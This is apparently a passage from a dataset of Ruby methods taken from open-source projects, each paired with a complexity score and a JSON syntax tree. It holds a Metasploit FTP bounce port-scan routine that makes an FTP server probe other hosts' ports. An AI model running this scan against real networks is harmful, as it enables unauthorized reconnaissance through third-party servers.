end","complexity_score":32.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data_service_operation\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_msf_session\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Session\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msf_session\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"lvasgn\",\"children\":[\"is_msf_session\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp_opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SessionDataProxy\"]},\"convert_msf_session_to_hash\",{\"type\":\"lvar\",\"children\":[\"msf_session\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"session_data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msf_session\"]},\"db_record\"]},\"id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"mdm_session\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_service\"]},\"update_session\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_msf_session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msf_session\"]},\"db_record=\",{\"type\":\"lvar\",\"children\":[\"mdm_session\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"mdm_session\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Problem updating session\"]}]}]},null]}]}]}","id":"eaaea4ac-023d-436d-b2a2-10a8549e93b0"} {"repo_name":"fastlane","file_path":"./repos/fastlane/precheck/lib/precheck/rule.rb","start_line":86,"raw_source":"def self.default_value\n CredentialsManager::AppfileConfig.try_fetch_value(self.key)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"key\"]}]}]}","id":"12bcb53a-162d-4f40-8731-3367671b66dc"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/generators/manageiq/plugin/plugin_generator.rb","start_line":137,"raw_source":"def plugin_description\n @plugin_description ||= \"#{plugin_short_name.titleize} plugin for #{Vmdb::Appliance.PRODUCT_NAME}.\"\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"plugin_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@plugin_description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_short_name\"]},\"titleize\"]}]},{\"type\":\"str\",\"children\":[\" plugin for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vmdb\"]},\"Appliance\"]},\"PRODUCT_NAME\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"33c4bf83-b8a2-4911-b27d-151390160f4a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/register_user_service.rb","start_line":83,"raw_source":"def ensure_user_limit_not_reached!\n if OpenProject::Enterprise.user_limit_reached?\n OpenProject::Enterprise.send_activation_limit_notification_about user\n ServiceResult.failure(result: user, message: I18n.t(:error_enterprise_activation_user_limit))\n end\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_user_limit_not_reached!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Enterprise\"]},\"user_limit_reached?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Enterprise\"]},\"send_activation_limit_notification_about\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"error_enterprise_activation_user_limit\"]}]}]}]}]}]},null]}]}","id":"e9f56535-ee4e-4e43-be77-27db5a0a4be7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/cluster_ancestors_finder.rb","start_line":17,"raw_source":"def has_ancestor_clusters?\n ancestor_clusters.any?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_ancestor_clusters?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ancestor_clusters\"]},\"any?\"]}]}","id":"cd5949e2-8afa-4632-b2b4-c50f486db0f4"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb","start_line":549,"raw_source":"def raw_exec_query(...) # :nodoc:\n cast_result(raw_execute(...))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_exec_query\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"cast_result\",{\"type\":\"send\",\"children\":[null,\"raw_execute\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"d980f665-0cc4-49b9-8a78-44cd3faa6781"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/finders/refs_finder.rb","start_line":18,"raw_source":"def execute\n # **/* allows to match any level of nesting\n pattern = [prefix, \"**/*\", search, \"*\"].compact.join\n\n raw_refs = repository.list_refs(\n [pattern],\n sort_by: sort_by,\n pagination_params: pagination_params\n )\n raw_refs.map { |ref| Ref.new(repository, ref.name, ref.target, nil) }\n rescue ArgumentError => e\n raise Gitlab::Git::InvalidPageToken, \"Invalid page token: #{page_token}\" if e.message.include?('page token')\n\n raise\n end","complexity_score":31.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prefix\"]},{\"type\":\"str\",\"children\":[\"**/*\"]},{\"type\":\"send\",\"children\":[null,\"search\"]},{\"type\":\"str\",\"children\":[\"*\"]}]},\"compact\"]},\"join\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_refs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"list_refs\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort_by\"]},{\"type\":\"send\",\"children\":[null,\"sort_by\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pagination_params\"]},{\"type\":\"send\",\"children\":[null,\"pagination_params\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_refs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ref\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"target\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"include?\",{\"type\":\"str\",\"children\":[\"page token\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"InvalidPageToken\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid page token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_token\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"06f51e19-c770-4329-9a23-5d6407aa72aa"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/portscan/ftpbounce.rb","start_line":48,"raw_source":"def run_host(ip)\n ports = Rex::Socket.portspec_crack(datastore['PORTS'])\n if ports.empty?\n raise Msf::OptionValidateError.new(['PORTS'])\n end\n\n jitter_value = datastore['JITTER'].to_i\n if jitter_value < 0\n raise Msf::OptionValidateError.new(['JITTER'])\n end\n\n delay_value = datastore['DELAY'].to_i\n if delay_value < 0\n raise Msf::OptionValidateError.new(['DELAY'])\n end\n\n return if not connect_login\n\n ports.each do |port|\n # Clear out the receive buffer since we're heavily dependent\n # on the response codes. We need to do this between every\n # port scan attempt unfortunately.\n while true\n r = sock.get_once(-1, 0.25)\n break if not r or r.empty?\n end\n\n begin\n # Add the delay based on JITTER and DELAY if needs be\n add_delay_jitter(delay_value, jitter_value)\n\n host = (ip.split('.') + [port / 256, port % 256]).join(',')\n resp = send_cmd([\"PORT\", host])\n\n if resp =~ /^5/\n # print_error(\"Got error from PORT to #{ip}:#{port}\")\n next\n elsif not resp\n next\n end\n\n resp = send_cmd([\"LIST\"])\n\n if resp =~ /^[12]/\n print_good(\" TCP OPEN #{ip}:#{port}\")\n report_service(:host => ip, :port => port)\n end\n rescue ::Exception\n print_error(\"Unknown error: #{$!}\")\n end\n end\n end","complexity_score":73.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ports\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"portspec_crack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PORTS\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PORTS\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"jitter_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"JITTER\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jitter_value\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"JITTER\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"delay_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delay_value\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_login\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"float\",\"children\":[0.25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"empty?\"]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_delay_jitter\",{\"type\":\"lvar\",\"children\":[\"delay_value\"]},{\"type\":\"lvar\",\"children\":[\"jitter_value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"/\",{\"type\":\"int\",\"children\":[256]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"%\",{\"type\":\"int\",\"children\":[256]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PORT\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^5\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"next\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LIST\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[12]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" TCP OPEN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]}]}]},null]}]}]}]}]}]}","id":"1de4c2c2-cd0e-4265-8bc4-56ccbd0d7432"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/jobs/regular/stream_discover_reply.rb","start_line":7,"raw_source":"def execute(args)\n return if !SiteSetting.ai_discover_enabled\n return if (user = User.find_by(id: args[:user_id])).nil?\n return if (query = args[:query]).blank?\n\n ai_persona_klass =\n AiPersona\n .all_personas(enabled_only: false)\n .find { |persona| persona.id == SiteSetting.ai_discover_persona.to_i }\n\n if ai_persona_klass.nil? || !user.in_any_groups?(ai_persona_klass.allowed_group_ids.to_a)\n return\n end\n\n llm_model_id = ai_persona_klass.default_llm_id || SiteSetting.ai_default_llm_model\n return if (llm_model = LlmModel.find_by(id: llm_model_id)).nil?\n\n bot =\n DiscourseAi::Personas::Bot.as(\n Discourse.system_user,\n persona: ai_persona_klass.new,\n model: llm_model,\n )\n\n streamed_reply = +\"\"\n start = Time.now\n\n base = { query: query, model_used: llm_model.display_name }\n\n context =\n DiscourseAi::Personas::BotContext.new(\n messages: [{ type: :user, content: query }],\n skip_tool_details: true,\n feature_name: \"discover\",\n )\n\n begin\n bot.reply(context) do |partial|\n streamed_reply << partial\n\n # Throttle updates.\n if (Time.now - start > 0.3) || Rails.env.test?\n payload = base.merge(done: false, ai_discover_reply: streamed_reply)\n publish_update(user, payload)\n start = Time.now\n end\n end\n\n publish_update(user, base.merge(done: true, ai_discover_reply: streamed_reply))\n rescue LlmCreditAllocation::CreditLimitExceeded => e\n publish_error_update(user, e)\n end\n end","complexity_score":81.63,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_discover_enabled\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query\"]}]}]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"ai_persona_klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"all_personas\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled_only\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"persona\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_discover_persona\"]},\"to_i\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_persona_klass\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_persona_klass\"]},\"allowed_group_ids\"]},\"to_a\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"llm_model_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_persona_klass\"]},\"default_llm_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_default_llm_model\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"llm_model\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LlmModel\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"llm_model_id\"]}]}]}]}]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"bot\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"as\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"persona\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_persona_klass\"]},\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"llm_model\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"streamed_reply\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_used\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},\"display_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"BotContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_tool_details\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_name\"]},{\"type\":\"str\",\"children\":[\"discover\"]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot\"]},\"reply\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partial\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"streamed_reply\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"partial\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]},\">\",{\"type\":\"float\",\"children\":[0.3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"done\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ai_discover_reply\"]},{\"type\":\"lvar\",\"children\":[\"streamed_reply\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"publish_update\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"publish_update\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"done\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ai_discover_reply\"]},{\"type\":\"lvar\",\"children\"